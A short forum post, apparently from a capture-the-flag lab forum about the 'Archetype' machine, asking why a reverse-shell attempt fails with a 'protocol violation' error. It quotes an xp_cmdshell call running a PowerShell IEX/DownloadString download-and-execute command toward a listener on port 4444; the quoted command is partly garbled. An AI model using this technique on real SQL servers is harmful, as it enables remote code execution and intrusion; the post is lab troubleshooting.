ARCHETYPE keep-alive/protocol violation

Under the above terms i couldnt find any threads in the forum so:

In my sql cli, after executing xp_cmdshell "powershell “IEX (New-Object Net.WebClient).DownloadString("\“);”

and then trying the command “whoami” in my received shell, Im getting the error "Exception calling “DownloadString” with “1” argument(s): "The server committed a protocol violation. " in my sql cli.

Another weird thing is that the listener says " Connection: Keep-alive."

I havent seen this in any of the writeups.

Im allowing port 4444 ofcourse.

Any ideas what that could be?